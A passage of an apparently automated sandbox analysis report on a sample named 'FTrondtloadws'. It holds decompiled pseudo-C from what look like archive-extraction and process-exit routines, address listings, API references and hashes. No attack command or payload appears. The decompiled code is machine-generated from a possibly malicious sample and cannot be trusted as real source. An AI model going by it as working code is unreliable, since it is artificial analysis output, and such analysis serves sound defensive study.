																_push( *(_t696 + 0x2b94));
																_t210 = _t862 - 0xf; // 0x7f1
																_push( *(_t696 + 0x2b90));
																_push(0x800);
																_push(_t834 + 0x1118);
																_push(0);
																_push( *(_t834 + 0x20));
																E00CCA4E8();
																goto L106;
															}
														}
														 *(_t862 - 0x80) = 0xcf46b8;
														_t617 = 0;
														 *(_t862 - 0x7c) = 0;
														__eflags =  *((intOrPtr*)(_t696 + 0x6558)) - 3;
														 *(_t862 - 4) = 0;
														if( *((intOrPtr*)(_t696 + 0x6558)) != 3) {
															L85:
															_t176 = _t862 - 0x80; // 0x780
															asm("sbb eax, eax");
															_push( ~_t617 & _t176);
															_t177 = _t862 - 0x1080; // -2176
															_t621 = E00CC8F08(_t834, _t696, _t177);
															__eflags = _t621;
															if(_t621 != 0) {
																_t152 = _t862 - 0x4c; // 0x7b4
																_t855 =  *(_t834 + 0x20) + 0xb3d0;
																E00CC87DB(_t152, _t855);
																 *((char*)(_t862 - 0x40)) =  *((intOrPtr*)(_t855 + 0xc));
																_t155 = _t862 - 0x2c; // 0x7d4
																 *(_t862 - 4) = 1;
																asm("sbb eax, eax");
																_t163 = _t862 - 0x4c; // 0x7b4
																E00CCE489(_t834 + 0x28, 0,  *((intOrPtr*)(_t696 + 0x2bcc)), _t163,  ~( *(_t696 + 0x2bd0) & 0x000000ff) & _t696 + 0x00002bd1, _t696 + 0x2be1,  *((intOrPtr*)(_t696 + 0x2c1c)), _t696 + 0x2bfb, _t155);
																__eflags =  *(_t696 + 0x2bf1);
																if( *(_t696 + 0x2bf1) == 0) {
																	L89:
																	_t182 = _t862 - 0x4c; // 0x7b4
																	E00CD0530(_t182);
																	 *(_t862 - 4) =  *(_t862 - 4) | 0xffffffff;
																	_t856 =  *(_t862 - 0x7c);
																	 *(_t862 - 0x80) = 0xcf46b8;
																	__eflags = _t856;
																	if(_t856 != 0) {
																		E00CC1703(_t856);
																		_push(0x930);
																		E00CDFD3E(_t856);
																	}
																	goto L92;
																}
																__eflags =  *(_t696 + 0x656c);
																if( *(_t696 + 0x656c) != 0) {
																	goto L89;
																}
																_t167 = _t862 - 0x2c; // 0x7d4
																_t638 = E00CE1592(_t696 + 0x2bf2, _t167, 8);
																_t864 = _t864 + 0xc;
																__eflags = _t638;
																if(_t638 == 0) {
																	goto L89;
																}
																__eflags =  *((char*)(_t834 + 0x1116));
																_t170 = _t862 - 0x1080; // -2176
																_push(_t696 + 0x32);
																if( *((char*)(_t834 + 0x1116)) != 0) {
																	_push(6);
																	E00CC237A();
																	E00CC7809(0xd030c4, 0xb);
																	__eflags = 0;
																	 *(_t862 - 0xe) = 0;
																	goto L89;
																}
																_push(0x84);
																E00CC237A();
																E00CD05B0( *(_t834 + 0x20) + 0xb3d0);
																__eflags = 0;
																_t173 = _t862 - 0x4c; // 0x7b4
																 *(_t862 - 4) = 0;
																E00CD0530(_t173);
																L84:
																_t617 =  *(_t862 - 0x7c);
																goto L85;
															}
															_t857 =  *(_t862 - 0x7c);
															 *((char*)(_t834 + 0x2118)) = 1;
															 *(_t862 - 0x80) = 0xcf46b8;
															__eflags = _t857;
															if(_t857 != 0) {
																E00CC1703(_t857);
																_push(0x930);
																E00CDFD3E(_t857);
															}
															goto L258;
														}
														__eflags =  *(_t696 + 0x2bf1);
														if( *(_t696 + 0x2bf1) == 0) {
															goto L85;
														}
														__eflags =  *(_t696 + 0x656c);
														if( *(_t696 + 0x656c) != 0) {
															goto L85;
														}
														_push(_t696 + 0x2bf2);
														_push( *((intOrPtr*)(_t696 + 0x2c1c)));
														_push(_t696 + 0x2be1);
														_push(_t696 + 0x2bd1);
														_t150 = _t862 - 0x80; // 0x780
														E00CC4710(_t696, _t150, _t820);
														goto L84;
													}
													E00CC7809(0xd030c4, 2);
													_t445 = E00CC200C(_t696) & 0xffffff00 |  *((char*)(_t696 + 0x655c)) == 0x00000000;
													goto L253;
												}
											}
										}
										_t821 =  *((intOrPtr*)(_t696 + 0x655c));
										 *(_t862 - 0xd) = _t821;
										 *(_t862 - 0x20) = _t821;
										if(_t821 == 0) {
											goto L243;
										}
										goto L50;
									}
								}
							}
							_t858 = 0;
							if( *((intOrPtr*)(_t834 + 4)) > 0) {
								_t798 = 0;
								 *(_t862 - 0x28) = 0;
								while(1) {
									_t75 = _t862 - 0x1080; // -2176
									if(E00CE7156(_t75, _t75,  *((intOrPtr*)( *_t834 + _t798))) == 0) {
										_t801 =  *(_t834 + 0x20);
										 *(_t862 - 0x28) = (_t858 << 4) +  *_t834;
										__eflags =  *((char*)(_t801 + 0x70e9));
										if(__eflags == 0) {
											_t861 = _t834 + 0x1118;
											 *((intOrPtr*)(_t801 + 0x10)) = (( *((intOrPtr*)(_t801 + 0x10)) != 0x00000000) - 0x00000001 & 0x00002002) + _t801 + 0x10;
											E00CD1908(_t861, (( *((intOrPtr*)(_t801 + 0x10)) != 0x00000000) - 0x00000001 & 0x00002002) + _t801 + 0x10, 0x800);
											E00CCCA80(__eflags, _t861, 0x800);
											E00CD18E0(__eflags, _t861, L"__tmp_reference_source_", 0x800);
											E00CCB5B6(0, __eflags, _t861, 0x800);
											_push(_t861);
											 *((intOrPtr*)( *(_t862 - 0x28) + 4)) = E00CE8868(_t696, _t834);
										}
										_t716 = 1;
										 *((char*)(_t862 - 0xf)) = 1;
										break;
									}
									_t858 = _t858 + 1;
									_t798 =  *(_t862 - 0x28) + 0x10;
									 *(_t862 - 0x28) =  *(_t862 - 0x28) + 0x10;
									if(_t858 <  *((intOrPtr*)(_t834 + 4))) {
										continue;
									} else {
										_t716 =  *((intOrPtr*)(_t862 - 0xf));
										break;
									}
								}
								_t819 =  *(_t862 - 0x10);
							}
							goto L43;
						} else {
							goto L258;
						}
					} else {
						_t813 = _t706 + 0x1008;
						if( *((intOrPtr*)(_t706 + 0x1008)) == 0 || E00CE7156(_t696 + 0x32, _t813, _t696 + 0x32) == 0) {
							goto L258;
						} else {
							goto L11;
						}
					}
				}
				if( *((intOrPtr*)(__ecx + 0x7f)) == 0) {
					goto L258;
				}
				_push(_t699);
				_push(0);
				_t838 = __ecx + 0x28;
				_push(_t838);
				_push(_t696);
				if(E00CD9C7D() == 0) {
					goto L257;
				} else {
					_t699 =  *(_t862 - 0x1c);
					_t816 = 0;
					goto L5;
				}
			}

0x00cc92ab
0x00cc92b5
0x00cc92bb
0x00cc92be
0x00cc92c2
0x00cc92c4
0x00cc92ca
0x00cc92d1
0x00cc92d7
0x00cc92fd
0x00cc9300
0x00cc9300
0x00cc9309
0x00cca16b
0x00cca16e
0x00cca1a3
0x00cca1a6
0x00cca189
0x00cca18b
0x00cca190
0x00cca190
0x00cca192
0x00cca198
0x00cca1a0
0x00cca1a0
0x00cca1a8
0x00cca1af
0x00cca1ca
0x00cca1ca
0x00000000
0x00cca1ca
0x00cca1b1
0x00cca1b3
0x00cca1b4
0x00cca1b5
0x00cca1ba
0x00cca1bc
0x00cca1e4
0x00cca1ec
0x00000000
0x00cca1ec
0x00cca1be
0x00cca1c5
0x00000000
0x00cca1c5
0x00cca170
0x00cca177
0x00cca184
0x00cca184
0x00000000
0x00cca177
0x00cc930f
0x00cc9312
0x00cc931a
0x00cc9322
0x00cc9359
0x00cc935b
0x00cc9361
0x00cc9367
0x00cc9373
0x00cc9379
0x00cc9379
0x00cc937f
0x00cc9385
0x00cc9391
0x00cc9397
0x00cc9397
0x00cc939d
0x00cc93a6
0x00cc93c7
0x00cc93cb
0x00cc93d5
0x00cc93e0
0x00cc93e7
0x00cc93ed
0x00cc93f7
0x00cc93f7
0x00cc93ff
0x00cc9404
0x00cc9405
0x00cc9412
0x00cc9413
0x00cc9422
0x00cc9425
0x00cc9481
0x00cc9483
0x00cc9485
0x00cc948b
0x00cc9491
0x00cc9495
0x00cc9495
0x00cc9495
0x00cc9495
0x00cc9427
0x00cc942a
0x00cc9432
0x00cc9441
0x00cc9446
0x00cc9447
0x00cc945f
0x00cc9475
0x00cc9461
0x00cc9463
0x00cc946a
0x00cc946c
0x00cc946c
0x00cc945f
0x00cc9432
0x00cc949e
0x00cc94a3
0x00cc94be
0x00cc94c9
0x00cc94d1
0x00cc94d4
0x00cc94d9
0x00cc94dc
0x00cc94de
0x00cc94e1
0x00cc94e4
0x00cc94e9
0x00cc95a1
0x00cc95a8
0x00cc95ca
0x00cc95cc
0x00000000
0x00000000
0x00000000
0x00cc95b6
0x00cc95bd
0x00000000
0x00cc95c3
0x00cc95c5
0x00cc95ce
0x00cc95d0
0x00cc95e6
0x00cc95e9
0x00cc95ee
0x00cc95f4
0x00cc95f7
0x00cc9602
0x00cc9602
0x00cc95fe
0x00cc95fe
0x00cc95fe
0x00cc9611
0x00cc9618
0x00cc961f
0x00000000
0x00cc9625
0x00cc9629
0x00cc962f
0x00cc9632
0x00cc963a
0x00cc9644
0x00cc9649
0x00cc9649
0x00cc9653
0x00cc966a
0x00cc966c
0x00cc9664
0x00cc9664
0x00cc9664
0x00cc966f
0x00cc9674
0x00cc967e
0x00cc967f
0x00cc9682
0x00cc9685
0x00cc9693
0x00cc969a
0x00cc969a
0x00cc96a0
0x00cc96a7
0x00cc96a8
0x00cc96bd
0x00cc96f8
0x00cc96fb
0x00cc9707
0x00cc9707
0x00cc9707
0x00000000
0x00cc9707
0x00cc96c6
0x00cc96d3
0x00000000
0x00000000
0x00cc96dc
0x00cc96f1
0x00cc96f3
0x00000000
0x00cc96f3
0x00cc96e2
0x00cc96ef
0x00000000
0x00000000
0x00000000
0x00cc96ef
0x00cc9695
0x00cc9698
0x00000000
0x00000000
0x00000000
0x00cc970a
0x00cc970a
0x00cc970a
0x00cc971b
0x00cc973f
0x00cc9746
0x00cc9915
0x00cc9922
0x00cc9927
0x00cc9927
0x00cc992b
0x00cc9930
0x00cc9931
0x00cc9933
0x00cc9936
0x00cc9938
0x00cc993b
0x00cc9942
0x00cc9944
0x00cc994b
0x00cc994d
0x00cc9954
0x00cc9970
0x00cc9970
0x00cc9954
0x00cc994b
0x00cc9942
0x00cc9936
0x00cc9973
0x00cc9979
0x00cc997e
0x00cc9984
0x00cc998b
0x00cc998e
0x00cc9990
0x00cc9a1a
0x00cc9a1c
0x00cc9a21
0x00cc9a23
0x00cc9a6c
0x00cc9a6f
0x00cc9a71
0x00000000
0x00000000
0x00cc9a73
0x00cc9a7c
0x00cc9a7d
0x00000000
0x00cc9a7d
0x00cc9a25
0x00cc9a29
0x00cc9a31
0x00cc9a32
0x00cc9a35
0x00cc9a39
0x00cc9a3a
0x00cc9a3d
0x00cc9a41
0x00cc9a42
0x00cc9a45
0x00cc9a47
0x00cc9a4d
0x00cc9a53
0x00cc9a55
0x00cc9a5b
0x00cc9a62
0x00cc9a65
0x00cc9a65
0x00cc9a53
0x00cc9a45
0x00cc9a3d
0x00cc9a35
0x00000000
0x00cc9996
0x00cc9996
0x00cc9999
0x00000000
0x00000000
0x00cc999b
0x00cc999e
0x00cc99a0
0x00cc9a89
0x00cc9a89
0x00cc9a90
0x00cc9ac8
0x00cc9aca
0x00cca12f
0x00cca12f
0x00cca133
0x00cca139
0x00cca13e
0x00cca142
0x00cca145
0x00cca147
0x00cca147
0x00cca147
0x00cca147
0x00cca14d
0x00cca14d
0x00cca154
0x00000000
0x00000000
0x00cca156
0x00cca15a
0x00000000
0x00000000
0x00cca15c
0x00cca163
0x00000000
0x00000000
0x00cca165
0x00cca167
0x00000000
0x00000000
0x00000000
0x00cca169
0x00cc9ad0
0x00cc9ad2
0x00cc9ad3
0x00cc9ad3
0x00cc9ad6
0x00cc9add
0x00cc9aef
0x00cc9aef
0x00cc9af2
0x00cc9af4
0x00cc9b38
0x00cc9b38
0x00cc9b3c
0x00cc9b3e
0x00cc9b46
0x00cc9b46
0x00cc9b5a
0x00cc9b60
0x00cc9b66
0x00cc9b6c
0x00cc9b7d
0x00cc9b93
0x00cc9b98
0x00cc9b9e
0x00cc9ba1
0x00cc9ba7
0x00cc9baa
0x00cc9bad
0x00cc9bb4
0x00cc9bb7
0x00cc9bbd
0x00cc9bc2
0x00cc9bc5
0x00cc9bc7
0x00cc9bca
0x00cc9bcd
0x00cc9bd0
0x00cc9bd3
0x00cc9bd6
0x00cc9bd8
0x00cc9c87
0x00cc9c87
0x00cc9c8a
0x00cc9c91
0x00cc9c98
0x00cc9c9c
0x00cc9cb2
0x00cc9cb2
0x00cc9cb4
0x00cc9cb7
0x00cc9cb7
0x00cc9cbb
0x00cc9cbf
0x00cc9cc3
0x00cc9e63
0x00cc9e6a
0x00cc9e6c
0x00cc9e73
0x00cc9e96
0x00cc9e97
0x00cc9e9d
0x00cc9ea2
0x00cc9eb4
0x00cc9eba
0x00cc9ebc
0x00cc9ec2
0x00cc9edc
0x00cc9e75
0x00cc9e75
0x00cc9e7b
0x00cc9e81
0x00cc9e82
0x00cc9e82
0x00cc9e73
0x00cc9ee1
0x00cc9ee3
0x00cc9ee8
0x00cc9eef
0x00cc9f21
0x00cc9f21
0x00cc9f21
0x00cc9f23
0x00cc9f25
0x00cc9f25
0x00cc9f2c
0x00cc9f36
0x00cc9f3d
0x00cc9f5c
0x00cc9f5c
0x00cc9f60
0x00cc9f63
0x00cc9fbb
0x00cc9fbb
0x00cc9fbf
0x00cc9fc2
0x00cc9fd5
0x00cc9fd5
0x00cc9fd5
0x00cc9fd7
0x00cc9fd7
0x00cc9fdb
0x00000000
0x00000000
0x00cc9fe1
0x00cc9fe4
0x00cc9fe8
0x00cc9ff4
0x00cc9ff4
0x00cc9ff8
0x00cca013
0x00cca013
0x00cca015
0x00cca02a
0x00cca02a
0x00cca02c
0x00cca0f0
0x00cca0f0
0x00cca0f3
0x00cca0fa
0x00cca102
0x00cca109
0x00cca10e
0x00cca110
0x00cca119
0x00cca123
0x00cca123
0x00cca110
0x00cca128
0x00000000
0x00cca128
0x00cca032
0x00cca037
0x00cca039
0x00cca03c
0x00cca042
0x00cca042
0x00cca044
0x00cca056
0x00cca056
0x00cca05c
0x00cca061
0x00cca06a
0x00cca07e
0x00cca085
0x00cca098
0x00cca09a
0x00cca0a3
0x00cca0a8
0x00cca0ae
0x00cca0bd
0x00cca0d0
0x00cca0e3
0x00cca0e5
0x00cca0e8
0x00cca0ed
0x00000000
0x00cca0ed
0x00cca046
0x00cca04c
0x00000000
0x00000000
0x00cca04e
0x00cca054
0x00000000
0x00000000
0x00000000
0x00cca054
0x00cca03e
0x00cca040
0x00000000
0x00000000
0x00000000
0x00cca040
0x00cca017
0x00cca01a
0x00cca021
0x00000000
0x00000000
0x00cca027
0x00000000
0x00cca027
0x00cc9ffa
0x00cc9ffc
0x00000000
0x00000000
0x00cc9ffe
0x00cca005
0x00000000
0x00000000
0x00cca00b
0x00cca00d
0x00000000
0x00000000
0x00000000
0x00cca00d
0x00cc9fea
0x00cc9fee
0x00000000
0x00000000
0x00000000
0x00cc9fee
0x00cc9fc4
0x00cc9fcb
0x00000000
0x00000000
0x00cc9fcd
0x00cc9fcf
0x00000000
0x00000000
0x00cc9fd1
0x00000000
0x00cc9fd1
0x00cc9f65
0x00cc9f69
0x00000000
0x00000000
0x00cc9f6b
0x00cc9f6d
0x00000000
0x00000000
0x00cc9f6f
0x00cc9f75
0x00cc9f94
0x00cc9f94
0x00cc9f96
0x00cc9f96
0x00cc9f97
0x00cc9fa3
0x00cc9faf
0x00cc9fb3
0x00cc9fb8
0x00000000
0x00cc9fb8
0x00cc9f77
0x00cc9f7d
0x00cc9f87
0x00cc9f87
0x00cc9f8e
0x00000000
0x00000000
0x00cc9f90
0x00000000
0x00cc9f90
0x00cc9f7f
0x00cc9f85
0x00000000
0x00000000
0x00000000
0x00cc9f85
0x00cc9f3f
0x00cc9f45
0x00000000
0x00000000
0x00cc9f47
0x00cc9f51
0x00cc9f51
0x00cc9f53
0x00cc9f55
0x00cc9f55
0x00000000
0x00cc9f53
0x00cc9f49
0x00cc9f4f
0x00000000
0x00000000
0x00000000
0x00cc9f4f
0x00cc9f2e
0x00000000
0x00cc9f2e
0x00cc9f06
0x00cc9f12
0x00cc9f17
0x00cc9f19
0x00000000
0x00000000
0x00cc9f1b
0x00cc9f1d
0x00000000
0x00cc9f1d
0x00cc9cc9
0x00cc9ccf
0x00cc9cd2
0x00cc9d80
0x00cc9d85
0x00cc9d93
0x00cc9d98
0x00cc9d9d
0x00cc9d9d
0x00cc9da3
0x00cc9da4
0x00cc9da5
0x00cc9daf
0x00cc9db5
0x00cc9db8
0x00cc9dc0
0x00cc9dc5
0x00cc9dc8
0x00cc9dca
0x00cc9e3f
0x00cc9e3f
0x00cc9e46
0x00cc9d0f
0x00cc9d0f
0x00cc9d11
0x00cc9e59
0x00cc9e59
0x00cc9e59
0x00cc9e5b
0x00cc9e5b
0x00000000
0x00cc9e5b
0x00cc9d17
0x00cc9d17
0x00cc9d1b
0x00000000
0x00000000
0x00cc9d21
0x00000000
0x00cc9d21
0x00cc9e4c
0x00cc9e4e
0x00000000
0x00000000
0x00cc9d0a
0x00cc9d0a
0x00cc9d0c
0x00000000
0x00cc9d0c
0x00cc9dcc
0x00cc9dd4
0x00000000
0x00000000
0x00cc9dd6
0x00cc9dd6
0x00cc9ddc
0x00cc9ddf
0x00cc9dfd
0x00cc9e05
0x00cc9e0b
0x00cc9e10
0x00cc9e17
0x00cc9e18
0x00cc9e22
0x00cc9e23
0x00cc9e2a
0x00cc9e2f
0x00cc9e31
0x00cc9de1
0x00cc9de1
0x00cc9df6
0x00cc9df8
0x00cc9df8
0x00cc9e34
0x00cc9e34
0x00cc9e36
0x00cc9d07
0x00cc9d07
0x00000000
0x00cc9d07
0x00cc9e3c
0x00000000
0x00cc9e3c
0x00cc9cd8
0x00cc9cdb
0x00000000
0x00000000
0x00cc9ce1
0x00cc9ce4
0x00cc9d28
0x00cc9d28
0x00cc9d2a
0x00000000
0x00000000
0x00cc9d30
0x00cc9d46
0x00cc9d48
0x00cc9d4b
0x00cc9d4d
0x00cc9d59
0x00cc9d59
0x00cc9d5b
0x00cc9d5d
0x00cc9d5d
0x00cc9d63
0x00cc9d6b
0x00cc9d6e
0x00cc9d72
0x00cc9d74
0x00cc9d74
0x00cc9d78
0x00000000
0x00cc9d78
0x00cc9d4f
0x00cc9d53
0x00000000
0x00000000
0x00cc9d55
0x00000000
0x00cc9d55
0x00cc9ce6
0x00cc9ce9
0x00000000
0x00000000
0x00cc9ceb
0x00cc9cee
0x00000000
0x00000000
0x00cc9cf0
0x00cc9cfd
0x00cc9d02
0x00cc9d04
0x00000000
0x00cc9d04
0x00cc9c9e
0x00cc9ca0
0x00000000
0x00000000
0x00cc9ca4
0x00cc9ca5
0x00cc9ca9
0x00000000
0x00000000
0x00cc9cab
0x00cc9cad
0x00000000
0x00cc9cad
0x00cc9bde
0x00cc9be4
0x00000000
0x00000000
0x00cc9bea
0x00cc9bf2
0x00cc9bf8
0x00cc9bfa
0x00cc9c82
0x00cc9c82
0x00cc9c82
0x00cc9c84
0x00000000
0x00cc9c84
0x00cc9c00
0x00cc9c0a
0x00cc9c0a
0x00cc9c1a
0x00cc9c1d
0x00cc9c1f
0x00cc9c7f
0x00cc9c7f
0x00000000
0x00cc9c7f
0x00cc9c21
0x00cc9c27
0x00cc9c27
0x00cc9c2b
0x00000000
0x00000000
0x00cc9c2f
0x00cc9c31
0x00cc9c56
0x00cc9c5c
0x00cc9c68
0x00cc9c73
0x00cc9c7c
0x00000000
0x00cc9c7c
0x00cc9c33
0x00cc9c3d
0x00cc9c3f
0x00cc9c44
0x00cc9c4a
0x00000000
0x00000000
0x00cc9c4c
0x00000000
0x00000000
0x00cc9c4e
0x00cc9c54
0x00000000
0x00000000
0x00000000
0x00cc9c54
0x00cc9c35
0x00cc9c3b
0x00000000
0x00000000
0x00000000
0x00cc9c3b
0x00cc9c23
0x00cc9c25
0x00000000
0x00000000
0x00000000
0x00cc9c25
0x00cc9c02
0x00cc9c08
0x00000000
0x00000000
0x00000000
0x00cc9c08
0x00cc9b40
0x00cc9b40
0x00cc9b40
0x00cc9b40
0x00000000
0x00cc9b40
0x00cc9af8
0x00cc9afb
0x00cc9afe
0x00cc9b00
0x00cc9b06
0x00cc9b0b
0x00cc9b0d
0x00cc9b1c
0x00cc9b2e
0x00cc9b2e
0x00cc9b0d
0x00000000
0x00cc9afe
0x00cc9adf
0x00cc9ae6
0x00cc9aed
0x00cc9b35
0x00000000
0x00cc9b35
0x00000000
0x00cc9aed
0x00cc9a96
0x00cc9a99
0x00cc9aa0
0x00cc9aa7
0x00cc9aac
0x00cc9aae
0x00000000
0x00000000
0x00cc9ab0
0x00cc9ab2
0x00cc9ab5
0x00cc9ab5
0x00cc9abb
0x00cc9ac0
0x00000000
0x00cc9ac0
0x00cc99a8
0x00cc99a9
0x00cc99ac
0x00000000
0x00000000
0x00cc99b2
0x00cc99b5
0x00cc99bc
0x00000000
0x00000000
0x00cc99c4
0x00cc99ce
0x00cc99d3
0x00cc99d5
0x00cc9a0c
0x00cc9a0c
0x00cc9a10
0x00000000
0x00000000
0x00cc9a16
0x00cc9a16
0x00cc9a82
0x00cc9a82
0x00cc9a85
0x00cc9a87
0x00000000
0x00000000
0x00000000
0x00cc9a87
0x00cc99d7
0x00cc99db
0x00000000
0x00000000
0x00cc99dd
0x00cc99e5
0x00cc99e6
0x00cc99e7
0x00cc99ed
0x00cc99f0
0x00cc99f7
0x00cc9a02
0x00cc9a03
0x00cc9a04
0x00cc9a07
0x00000000
0x00cc9a07
0x00cc9990
0x00cc974e
0x00cc9755
0x00cc9757
0x00cc975a
0x00cc9761
0x00cc9764
0x00cc987a
0x00cc987c
0x00cc987f
0x00cc9885
0x00cc9886
0x00cc988e
0x00cc9893
0x00cc9895
0x00cc97ad
0x00cc97b0
0x00cc97b7
0x00cc97bf
0x00cc97c2
0x00cc97c5
0x00cc97ed
0x00cc97f5
0x00cc9802
0x00cc9807
0x00cc980e
0x00cc98e5
0x00cc98e5
0x00cc98e8
0x00cc98ed
0x00cc98f1
0x00cc98f4
0x00cc98fb
0x00cc98fd
0x00cc9901
0x00cc9906
0x00cc990c
0x00cc9912
0x00000000
0x00cc98fd
0x00cc9814
0x00cc981b
0x00000000
0x00000000
0x00cc9823
0x00cc982e
0x00cc9833
0x00cc9836
0x00cc9838
0x00000000
0x00000000
0x00cc983e
0x00cc9845
0x00cc984f
0x00cc9850
0x00cc98cd
0x00cc98cf
0x00cc98db
0x00cc98e0
0x00cc98e2
0x00000000
0x00cc98e2
0x00cc9852
0x00cc9857
0x00cc9865
0x00cc986a
0x00cc986c
0x00cc986f
0x00cc9872
0x00cc9877
0x00cc9877
0x00000000
0x00cc9877
0x00cc989b
0x00cc989e
0x00cc98a5
0x00cc98ac
0x00cc98ae
0x00cc98b6
0x00cc98bb
0x00cc98c1
0x00cc98c7
0x00000000
0x00cc98ae
0x00cc976a
0x00cc9770
0x00000000
0x00000000
0x00cc9776
0x00cc977c
0x00000000
0x00000000
0x00cc9788
0x00cc9789
0x00cc9795
0x00cc979c
0x00cc979d
0x00cc97a0
0x00000000
0x00cc97a0
0x00cc9724
0x00cc9737
0x00000000
0x00cc9737
0x00cc9685
0x00cc961f
0x00cc95d2
0x00cc95d8
0x00cc95db
0x00cc95e0
0x00000000
0x00000000
0x00000000
0x00cc95e0
0x00cc95bd
0x00cc95a8
0x00cc94ef
0x00cc94f4
0x00cc94fa
0x00cc94fc
0x00cc94ff
0x00cc9504
0x00cc9514
0x00cc952a
0x00cc9532
0x00cc9535
0x00cc953c
0x00cc9540
0x00cc955d
0x00cc9561
0x00cc956c
0x00cc957c
0x00cc9587
0x00cc958c
0x00cc9596
0x00cc9596
0x00cc9599
0x00cc959b
0x00cc959b
0x00cc959b
0x00cc9519
0x00cc951a
0x00cc951d
0x00cc9523
0x00000000
0x00cc9525
0x00cc9525
0x00000000
0x00cc9525
0x00cc9523
0x00cc959e
0x00cc959e
0x00000000
0x00000000
0x00000000
0x00000000
0x00cc9334
0x00cc9334
0x00cc933f
0x00000000
0x00000000
0x00000000
0x00000000
0x00cc933f
0x00cc9322
0x00cc92dc
0x00000000
0x00000000
0x00cc92e2
0x00cc92e3
0x00cc92e4
0x00cc92e7
0x00cc92e8
0x00cc92f0
0x00000000
0x00cc92f6
0x00cc92f6
0x00cc92f9
0x00000000
0x00cc92f9

APIs

__EH_prolog.LIBCMT ref: 00CC92AB

Part of subcall function 00CCD636: _wcsrchr.LIBVCRUNTIME ref: 00CCD640

Part of subcall function 00CCCA80: _wcslen.LIBCMT ref: 00CCCA86

Part of subcall function 00CD18E0: _wcslen.LIBCMT ref: 00CD18E6

Part of subcall function 00CCB5B6: _wcslen.LIBCMT ref: 00CCB5C2
Part of subcall function 00CCB5B6: __aulldiv.LIBCMT ref: 00CCB5EE
Part of subcall function 00CCB5B6: GetCurrentProcessId.KERNEL32(00000000,?,000186A0,00000000,?,?,00000800,?), ref: 00CCB5F5
Part of subcall function 00CCB5B6: _swprintf.LIBCMT ref: 00CCB620
Part of subcall function 00CCB5B6: _wcslen.LIBCMT ref: 00CCB62A
Part of subcall function 00CCB5B6: _swprintf.LIBCMT ref: 00CCB680
Part of subcall function 00CCB5B6: _wcslen.LIBCMT ref: 00CCB68A

Part of subcall function 00CC4710: __EH_prolog.LIBCMT ref: 00CC4715

Part of subcall function 00CCA1F0: __EH_prolog.LIBCMT ref: 00CCA1F5

Part of subcall function 00CCB8C6: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00CCB595,?,?,?,00CCB3E5,?,00000001,00000000,?,?), ref: 00CCB8DA
Part of subcall function 00CCB8C6: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00CCB595,?,?,?,00CCB3E5,?,00000001,00000000,?,?), ref: 00CCB90B

Strings

__tmp_reference_source_, xrefs: 00CC9576

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: _wcslen$H_prolog$AttributesFile_swprintf$CurrentProcess__aulldiv_wcsrchr
String ID: __tmp_reference_source_
API String ID: 70197177-685763994
Opcode ID: 08d5686aa90b1a2f2f5e48aaf476ac147c215a361925eb20bded1c8f77573986
Instruction ID: 4af8f3d38346c451a854c8eb1764325f19227a9818781266ffd47e4fb51d09a2
Opcode Fuzzy Hash: 08d5686aa90b1a2f2f5e48aaf476ac147c215a361925eb20bded1c8f77573986
Instruction Fuzzy Hash: 74A20771904285AEDF19CF64C899FEEBBB4FF05304F0801BDE9599B182D7309A89DB61

Uniqueness

Uniqueness Score: -1.00%

Function 00CE9000 Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00CE9000(int _a4) {
				void* _t14;
				void* _t15;
				void* _t17;
				void* _t18;
				void* _t19;

				if(E00CEC086(_t14, _t15, _t17, _t18, _t19) != 0 && ( *( *[fs:0x30] + 0x68) >> 0x00000008 & 0x00000001) == 0) {
					TerminateProcess(GetCurrentProcess(), _a4);
				}
				E00CE9085(_t15, _a4);
				ExitProcess(_a4);
			}

0x00ce900c
0x00ce9028
0x00ce9028
0x00ce9031
0x00ce903a

APIs

GetCurrentProcess.KERNEL32(?,?,00CE8FD6,?,00CFD570,0000000C,00CE912D,?,00000002,00000000), ref: 00CE9021
TerminateProcess.KERNEL32(00000000,?,00CE8FD6,?,00CFD570,0000000C,00CE912D,?,00000002,00000000), ref: 00CE9028
ExitProcess.KERNEL32 ref: 00CE903A

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: fe23657696afe32bc7fc30ddb4c106f64e2da2a2641c46cc515b8d0fab9573c6
Instruction ID: 9e0bd24743bdba89600f4dd222308ef2e8e5df7ce529a50b97905111d578c0f1
Opcode Fuzzy Hash: fe23657696afe32bc7fc30ddb4c106f64e2da2a2641c46cc515b8d0fab9573c6
Instruction Fuzzy Hash: 0FE0B636004188ABCF256F65DD49B9D3B6AEF98382B414414F9098A222CF79EE92DA51

Uniqueness

Uniqueness Score: -1.00%

Function 00CE09ED Relevance: 1.5, APIs: 1, Instructions: 3
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CE09ED() {
				_Unknown_base(*)()* _t1;

